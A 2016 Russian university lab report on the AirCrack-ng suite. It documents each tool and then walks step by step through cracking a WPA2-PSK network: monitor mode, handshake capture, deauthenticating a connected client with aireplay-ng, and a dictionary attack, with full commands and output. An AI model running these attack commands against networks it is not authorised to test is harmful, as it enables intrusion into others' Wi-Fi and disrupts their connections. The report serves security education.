Федеральное государственное автономное образовательное учреждение Высшего профессионального образования

Санкт-Петербургский политехнический университет

Институт компьютерных наук и технологий

Кафедра компьютерных систем и программных технологий

Лабораторная работа №5

Набор инструментов для аудита беспроводных сетей AirCrack

Выполнил студент
группы 53501/3

_____
П. П. Жук
«____» _____ 2016 г.

Проверил преподаватель

_____
К. Д. Вылегжанина
«____» _____ 2016 г.

Санкт-Петербург
2016 г.

Содержание

1 Цель работы

Изучить основные возможности пакета AirCrack и принципы взлома WPA/WPA2, PSK и WEP.

2 Задание

1. Изучить
   (a) Изучить документацию по основным утилитам пакета - airmon-ng, airodump-ng, aireplay-ng, airckrack-ng.
   (b) Запустить режим мониторинга на беспроводном интерфейсе.
   (c) Запустить утилиту airodump, изучить формат вывода этой утилиты, форматы файлов, коорые она может создавать.
2. Практическое задание: Проделать следующие действия по взлому WPA2 PSK сети:
   (a) Запустить режим мониторинга на беспроводном интерфейсе
   (b) Запустить сбор трафика для получения аутентификационных сообщений
   (c) Провести деаутентификацию одного из клиентов, до тех пор, пока не удастся собрать необходимых для взлома аутентификационных сообщений
   (d) Провести взлом, используя словарь паролей

3 Ход работы

3.1 Изучить

3.1.1 Изучить документацию по основным утилитам пакета - airmon-ng, airodump-ng, aireplay-ng, airckrack-ng

Пакет **airmon-ng** используется для включения режима мониторинга беспроводных интерфейсов.

Использование:

```
airmon-ng <start|stop> <interface> or airmon-ng <check|check kill>
```

где

- <start|stop> запуск или остановка мониторинга интерфейса
- <interface> сам интерфейс
- <check|check kill> “check” отображает процессы, мешающие работе AirCrack. Рекомендуется завершить такие процессы перед началом работы с AirCrack. Это можно сделать с помощью “check kill”.

Пакет **airodump-ng** используется для захвата пакетов протокола 802.11, а также для получения векторов инициализации (IV) для WEP. **airodump-ng** также записывает некоторую информацию о всех найденных точках доступа в несколько файлов. Использование:

```
airodump-ng <options> <interface>[,<interface>,...]
```

Интерфейсы можно получить, предварительно запустив airmon-ng. Доступные опции можно посмотреть в документации.

Пакет **aireplay-ng** используется для вставки кадров, используемых затем в aircrack-ng для взлома ключей WEP и WPA-PSK и проведения атак. Кадры для инъекции можно создавать с помощью инструмента packetforge-ng.

Использование:

```
aireplay-ng <options> <replay interface>
```

Используемые опции делятся не опции фильтрации пакетов, опции вставки пакетов и некоторые другие типы опций. **aireplay-ng** Поддерживает несколько видов атак и важно то, что не все опции поддерживаются всеми видами атак. Подробнее про виды атак и опции можно посмотреть в документации.

Пакет **aircrack-ng** используется для взлома ключей 802.11 WEP и WPA/WPA2-PSK. aircrack-ng может восстановить ключ WEP после того, как airodump-ng захватит достаточное количестсво пакетов.

Используется два метода: PTW и FMS/KoreK. Первый сначала использует ARP пакеты, а затем все пойманные. Второй использует различные статистические атаки. Тажке существует метод словаря для определения WEP ключа. Для взлома ключа WPA / WPA2 используется только метод словаря. Использование:

```
aircrack-ng [options] <capture file(s)>
```

3.1.2 Запустить режим мониторинга на беспроводном интерфейсе

Для запуска воспользуемся командой airmon-ng start wlan0.

```
 root@kali:~# airmon-ng start wlan0

Interface Chipset Driver

mon0 Atheros  ath9k - [phy0]
wlan0 Atheros  ath9k - [phy0]
(monitor mode enabled on mon1)
```

3.1.3 Запустить утилиту airodump, изучить формат вывода этой утилиты, форматы файлов, коорые она может создавать

Возможные форматы вывода утилиты задаются опцией –output-format <formats>. Возможные значения: pcap, ivs, csv, gps, kismet, netxml. Может быть задано

несколько через запятую, в этом случае каждаму указанному типу будет соответствовать файл. Форматы определяет в каком виде будет записана информация о перехваченных пакетах.

С помощью ключа –write (-w) задается префикс файлов.

3.2 Практическое задание: Проделать следующие действия по взлому WPA2 PSK сети

3.2.1 Запустить режим мониторинга на беспроводном интерфейсе

```
root@kali:~# airmon-ng start wlan0

Interface Chipset Driver

mon0 Atheros  ath9k - [phy0]
wlan0 Atheros  ath9k - [phy0]
(monitor mode enabled on mon1)
```

3.2.2 Запустить сбор трафика для получения аутентификационных сообщений

Просмотрим доступные сети и определим необходимую.

```
root@kali:~# airodump-ng mon1

CH 3 ][ Elapsed: 13 s ][ 2016-06-18 16:27

BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

8D:F6:B2:90:53:F7    0        2        1    0   3  54e  WPA2 CCMP   PSK  DIR-300
5D:6E:A7:49:7B:83    0        6        0    0   4  54e. WPA2 CCMP   PSK  Zhuki
F4:B5:9A:F3:E7:E7    0        6        0    0  11  54e. WPA2 CCMP   PSK  TP-LINK_6831
BB:00:5B:EF:EF:55    0        8        0    0   5  54e  WPA2 CCMP   PSK  dlink
AC:22:0B:54:D5:A8    0        2        2    0  13  54e  WPA2 CCMP   PSK  PeterStar-Dlink
7C:33:65:65:B5:B0    0        6        1    0   9  54e  WPA2 CCMP   PSK  house_net
EA:9A:F2:D7:EF:12    0        1        0    0  13  54e  WPA2 CCMP   PSK  inet
```

Для сбора данных выбираем сеть:

```
5D:6E:A7:49:7B:83    0        6        0    0   4  54e. WPA2 CCMP   PSK  Zhuki
```

Для сбора трафика и получения аутентификационных сообщений запустим команду, приведенную ниже:

```
root@kali:~# airodump-ng mon1 --write dump --bssid 5D:6E:A7:49:7B:83 -c 4
CH  4 ][ Elapsed: 18 s ][ 2016-06-18 16:43

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
```

```
5D:6E:A7:49:7B:83    0 100      198      345    0   4  54e. WPA2 CCMP   PSK  Zhuki

BSSID              STATION            PWR   Rate    Lost    Frames  Probe

5D:6E:A7:49:7B:83  17:16:49:75:DB:CF    0    0e- 0     2     1693
```

Видно, что к сети подключен клиент а MAC-адресом 17:16:49:75:DB:CF.

3.2.3 Провести деаутентификацию одного из клиентов, до тех пор, пока не удастся собрать необходимых для взлома аутентификационных сообщений

Проведем деаутентификацию указанного выше(17:16:49:75:DB:CF) клиента.

```
root@kali:~# aireplay-ng -0 1 -a 5D:6E:A7:49:7B:83 -c 17:16:49:75:DB:CF mon1
17:01:37  Waiting for beacon frame (BSSID: 5D:6E:A7:49:7B:83) on channel 4
17:01:38  Sending 64 directed DeAuth. STMAC: [17:16:49:75:DB:CF] [ 42|67 ACKs]
```

3.2.4 Провести взлом, используя словарь паролей

Попробуем подобрать пароль по словарю. Выполним следующую команду.

```
root@kali:~# aircrack-ng dump*.cap -w pass -b 5D:6E:A7:49:7B:83
```

Здесь dump*.cap - маска для файлом с дампом. pass - файл с паролями для перебора.

В результате получили сообщение об успешно подобранном пароле.

```
                [00:00:00] 1 keys tested (412.29 k/s)


                        KEY FOUND! [ password ]


    Master Key     : 6D 61 7A F2 08 6F 6C EA A3 E8 4B 9B 43 58 7B 8D
                     33 99 1E 17 64 41 A2 2C E3 38 50 81 61 D0 B0 11

    Transient Key  : 27 03 27 D0 08 6B C0 8A E1 F8 60 89 6D 8E D0 69
                     B5 08 FE CE 88 8A D9 DD 84 89 B7 39 AF E2 AF AD
                     6F 28 51 51 B6 56 7D 0C D2 37 35 EB E1 F9 3D C4
                     0E C3 83 47 8F 09 DB 8F 2E 90 63 47 76 DA 89 DA
```

4 Выводы

В ходе данной работы были изучены некоторые из утилит пакета AirCrack, изучены принципы взлома WPA/WPA2 PSK, проведен влом сети при помощи словаря паролей.

С помощью пакета AirCrack можно перехватывать, прослушивать, генерировать пакеты. После прослушивания сеть можно взломать, если пароль сети имеется в используемом словаре паролей.